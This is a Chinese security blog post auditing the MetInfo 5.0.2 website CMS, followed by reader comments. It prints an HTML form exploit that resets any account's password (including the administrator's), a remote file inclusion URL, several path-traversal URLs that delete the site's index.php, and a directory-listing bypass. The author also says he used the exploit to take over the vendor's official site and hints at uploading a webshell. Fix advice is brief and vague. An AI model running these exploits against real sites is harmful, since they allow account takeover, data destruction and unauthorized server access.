您的位置 » 首页 » 代码审计,实用工具 » MetInfo(米拓)企业网站管理系统5.0.2代码审计 漏洞利用与修复总结

MetInfo(米拓)企业网站管理系统5.0.2代码审计 漏洞利用与修复总结

发表于5年前 | 作者: seay | 分类: 代码审计, 实用工具 | 孵化于:2012年09月27日 | 文章热度:12,428 次 全屏阅读

显示不全请点击全屏阅读

博客www.cnseay.com刚换域名不久,需要点原创文章。。。蛋疼找了几套CMS玩玩。。。以前个别程序挖的洞提交到官方,有的爱理不理的,搞得都不想提醒官方了….礼物什么不说了,起码说个谢谢嘛。。。不废话了。。。

官网找了个简单介绍:

MetInfo企业网站管理系统采用PHP+Mysql架构,全站内置了SEO搜索引擎优化机制,支持用户自定义界面语言(全球各种语言),拥有企业网站常用的模块功能(企业简介模块、新闻模块、产品模块、下载模块、图片模块、招聘模块、在线留言、反馈系统、在线交流、友情链接、网站地图、会员与权限管理)。强大灵活的后台管理功能、静态页面生成功能、个性化模块添加功能、不同栏目自定义FLASH样式功能等可为企业打造出大气漂亮且具有营销力的精品网站。

 

先看看程序结构

 

 

安装以后如果没删除install,下面有一个phpinfo.php (install/phpinfo.php),可以看下服务器信息。

 

 

一、越权修改任意用户密码漏洞通杀2.0至最新5.0.2版本

看了下会员和管理员都在一个met_admin_table表,我们看到membersave.php文件,

<?php

require_once ‘../include/common.inc.php’;

 

if($action==”add”){

 if($met_memberlogin_code==1){

 require_once ‘captcha.class.php’;

 $Captcha= new  Captcha();

 if(!$Captcha->CheckCode($code)){

 echo(“<script type=’text/javascript’> alert(‘$lang_membercode’); window.history.back();</script>”);

   exit;

 }

 } 

$admin_if=$db->get_one(“SELECT * FROM $met_admin_table WHERE admin_id=’$yhid'”);

if($admin_if){

okinfo(‘javascript:history.back();’,$lang_js15);

}

/*省略不知道多少字。。。*/

没验证会员权限

这感情好(其他的还是过滤了的),再看下面的

 

if($action==”editor”){

 

$query = “update $met_admin_table SET

                      admin_id           = ‘$useid’,

  admin_name         = ‘$realname’,

  admin_sex          = ‘$sex’,

  admin_tel          = ‘$tel’,

  admin_modify_ip    = ‘$m_user_ip’,

  admin_mobile       = ‘$mobile’,

  admin_email        = ‘$email’,

  admin_qq           = ‘$qq’,

  admin_msn          = ‘$msn’,

  admin_taobao       = ‘$taobao’,

  admin_introduction = ‘$admin_introduction’,

  admin_modify_date  = ‘$m_now_date’,

  companyname  = ‘$companyname’,

  companyaddress     = ‘$companyaddress’,

  companyfax      = ‘$companyfax’,

  companycode      = ‘$companycode’,

  companywebsite     = ‘$companywebsite'”;

 

if($pass1){

$pass1=md5($pass1);

$query .=”, admin_pass         = ‘$pass1′”;

}

$query .=”  where admin_id=’$useid'”;

$db->query($query);

 

啥都没过滤,我们直接提交一个表单就不搞定了么?写了个EXP

 

<form method=”POST” name=”myform” action=”http://www.cnseay.com/member/save.php?action=editor” target=”_self”>

<table cellpadding=”2″ cellspacing=”1″ border=”0″ width=”95%” class=”table_member”>

          <tr> 

            <td class=”member_text”><font color=”#FF0000″>*</font>用户名 </td>

            <td colspan=”2″ class=”member_input”> <input name=”useid” type=”text” class=”input” size=”20″ maxlength=”20″ 

 

value=”seay” ></td>

          </tr> 

  <tr> 

            <td class=”member_text”><font color=”#FF0000″>*</font>密码 </td>

            <td colspan=”2″ class=”member_input”> <input name=”pass1″ type=”password” class=”input” size=”20″ 

 

maxlength=”20″></td>

          </tr> 

      <td class=”member_submit”><input type=”submit” name=”Submit” value=”提交信息” class=”submit”></td>

          </tr>

        </form>

 

复制以上内容,保存为1.html,用户名那里填用户名(基本用户名都是admin),密码填你要修改成的密码,修改www.cnseay.com为网站域名,提交以下,网站默认后台地址为http://域名/admin

 

测试了下官方Dome站,成功修改创始人密码,看图

 

 

 

后台有个ckfinder编辑器(adminckfinderckfinder.html 这里就可以拿shell),IIS6.0或者阿帕奇的话之类解析洞的话,怎么拿shell你们懂得了。

 

 

 

后台有修改上传类型的地方,你们懂得,

 

修改了下,拿下了官网

好了,已经可以拿到shell了,

修复:

membersave.php文件头加入require_once ‘login_check.php’;这个不除根,注册个用户登录就能简单绕过,下面就是在updete的时候where user_id=这个ID我们可以用session里面获取。就不要从表单获取了。。。

 

下面看另外一些东西。

 

二、文件包含漏洞(4.0版至最新5.0.2

漏洞文件message/index.php

 

if(!$metid)

$metid=’index’;

if($metid!=’index’){

 

require_once $metid.’.php’;  //需要截断

 

}else{

/*省略*/

}

 

本地包含的话,你们自个去截断吧。allow_url_include=On的情况下,去准备一个PHP文件远程包含就行。

http://192.168.0.164:81/MetInfo5.0/message/index.php?metid=http://localhost:88/1

 

包含了http://localhost:88/1.php  这个文件

 

 

修复:

这个你们应该懂怎么处理,代码是不是要换个思路写?

三、多个任意文件删除漏洞

删除一、

后台有个文件管理

 

漏洞文件是admin/system/uploadfile.php,看代码

 

if($action==’delete’){

$rurls.=’&fileurl=’.$fileurl.’&file_classnow=’.$file_classnow.’&page=’.$page;

if($action_type==”del”){

$allidlist=explode(‘,’,$allid);

$k=count($allidlist)-1;

for($i=0;$i<$k; $i++){

if(file_exists($allidlist[$i]))@unlink($allidlist[$i]);

}

metsave($rurls);

}else{

if(file_exists($filename)){

@unlink($filename);

metsave($rurls);

}else{

metsave($rurls,$lang_setfilenourl);

}

}

如果action_type不等于“del”,那么就会执行删除filename,比如我们想删除首页文件,直接访问

http://www.cnseay.com/admin/system/uploadfile.php?filename=../../index.php&action=delete

 

删除二、

 

还有一个删除,是在adminsystemdatabaserecovery.php文件

 

我们接着看adminsystemdatabaserecovery.php文件

if($action==’delete’){

    if(is_array($filenames)) {

        foreach($filenames as $filename){

            if(fileext($filename)==’sql’){

                @unlink(‘../databack/’.$filename);

            }

        }

    }else{

        if(fileext($filenames)==’sql’){

$filenamearray=explode(“.sql”,$filenames);

            @unlink(‘../../databack/’.$filenames);

@unlink(‘../../databack/sql/metinfo_’.$filenamearray[0].”.zip”);

        }else{

    @unlink(‘../../databack/’.$fileon.’/’.$filenames);

}

    }

//标红的这类我们可以../绕过,继续删除首页文件

 

http://www.cnseay.com/admin/system/database/recovery.php?&action=delete&filenames=../../index.php

 

删除三、

 

再看Admin/system/database/filedown.php文件,代码还是跟前一个一样的,再删首页文件

 

http://www.cnseay.com/admin/system/database/filedown.php?&action=delete&filenames=../../index.php

修复:

你们懂的?

四、目录浏览漏洞

漏洞文件是admin/system/uploadfile.php,看代码

 

function getDir($dir){

$fileArr = array();

$dp = opendir($dir);

while(($file = readdir($dp)) !== false) {

if($file !=”.” AND $file !=”..” AND $file !=””) {   

if(is_dir($dir.”/”.$file)) {   

$fileArr = array_merge($fileArr, getDir($dir.”/”.$file));   

$fileArr[] = $dir.”/”.$file; 

}   

}   

closedir($dp);   

return $fileArr;   

}

$fileurl2=$fileurl;

$metnowdir=”upload”;  //设定跟目录名称,我们可以upload/../绕过

$metdirfile=getDir(‘../../’.$metnowdir);

$i=0;

foreach($metdirfile as $val){

$fileclassarray=explode(‘/’,$val);

$fileclassnum=count($fileclassarray)-3;

$fileclassnum1=count($fileclassarray)-1;

$fileclass[$fileclassnum][$i][name]=$fileclassarray[$fileclassnum1];

$fileclass[$fileclassnum][$i][url]=$val;

$i++;

}

 

好了,我们再往下看

 

if($fileurl<>””)$metnowdir=$fileurl;

if($file_classnow==3){

$fileurl1=explode(‘/’,$fileurl);

$fileurl=$fileurl1[0].’/’.$fileurl1[1];

}

$metdir = new myDIR; 

$metdir->setMASK(“*.gif,*.txt,*.jpg*,*.rar*,*.jpeg*,*.doc*,*.pdf*,*.bmp*,*.png*,*.tif*,*.psd*,*.swf*,*.swf*”);

$metdir->setFIND(“files”); 

….////省略

 

设定了浏览的文件扩展名。。。只能看.gif,*.txt,*.jpg*,*.rar*,*.jpeg*,*.doc*,*.pdf*,*.bmp*,*.png*,*.tif*,*.psd*,*.swf*,*.swf* 这里面的扩展名的文件,蛋疼

 

http://www.cnseay.com/admin/system/uploadfile.php?anyid=&lang=cn&fileurl=upload/../ 

 

可以浏览目录的文件了,

 

修复:

你们应该比俺懂。。。

 

不是漏洞的小建议

登陆后台了有个地方也看着蛋疼

 

登陆之后右键看源码,管理员密码直接在里面了。。。是想验证权限吧,其实有更好的办法的。。。。

 

好了,就看到这儿吧,本文档已经提交至官方,并通知官方修复漏洞,欢迎基友们到俺博客玩http://www.cnseay.com/,转载请保留来源,谢谢。本文word文档下载地址MetInfo(米拓)企业网站管理系统5.0.2代码审计 漏洞利用与修复总结

                                                                                                                                    By:Seay

                                                                                                                                    博客:http://www.cnseay.com/

 

 

Tags:

MetInfo企业网站管理系统漏洞, MetInfo漏洞利用与修复,

如果您喜欢我的博客,欢迎点击图片定订阅到邮箱填写您的邮件地址,订阅我们的精彩内容: 也可以点击链接【订阅到鲜果】

如果我的想法或工具帮助到了你,也可微信扫下方二维码打赏本人一杯咖啡


来自 Seay互联网安全博客
本文地址:http://www.cnseay.com/992/
文章版权说明请看置顶文章,尊重作者,转载请以链接形式标明原文地址

马上分享给你的朋友吧~

已经有12个筒子的人留下了脚印...

  • 我是黑阔 说:
    1楼
    2012 年 9 月 27 日 下午 7:09 回复

    :mrgreen: 博主牛人,请问有没有代码审计的教程或资料可让我研究研究,谢谢博主了

  • 【管理员】seay 说:
    2楼
    2012 年 9 月 27 日 下午 7:39 回复

    @我是黑阔
    http://www.cnseay.com/archives/661

  • sink 说:
    3楼
    2012 年 9 月 27 日 下午 8:46 回复

    俺是来看看有木有金月饼和取走实例研究的 😛

  • 【管理员】seay 说:
    4楼
    2012 年 9 月 27 日 下午 9:13 回复

    @sink
    😥 鄙视下

  • 【管理员】seay 说:
    5楼
    2012 年 9 月 27 日 下午 10:37 回复

    @Aepl│恋爱
    😳 常来玩

  • lonely 说:
    6楼
    2012 年 9 月 28 日 下午 3:58 回复

    😡 ,小心差你的水表, 😆

  • 【管理员】seay 说:
    7楼
    2012 年 9 月 28 日 下午 6:47 回复

    @lonely
    :smile: 俺是大大的良民

  • lonely 说:
    8楼
    2012 年 9 月 28 日 下午 6:51 回复

    @seay
    ➡ ,你是良民就没良民了 😡

  • 【管理员】seay 说:
    9楼
    2012 年 9 月 28 日 下午 7:54 回复

    @lonely
    😥

  • only 说:
    10楼
    2012 年 9 月 29 日 下午 5:44 回复

    exp测试不成功哎.111

  • 【管理员】seay 说:
    11楼
    2012 年 9 月 29 日 下午 6:14 回复

    @only
    。。。看文章最后那“本文档已经提交至官方,并通知官方修复漏洞”

发表评论

你的大名(必填)

你的邮箱(必填)

评论内容(必填)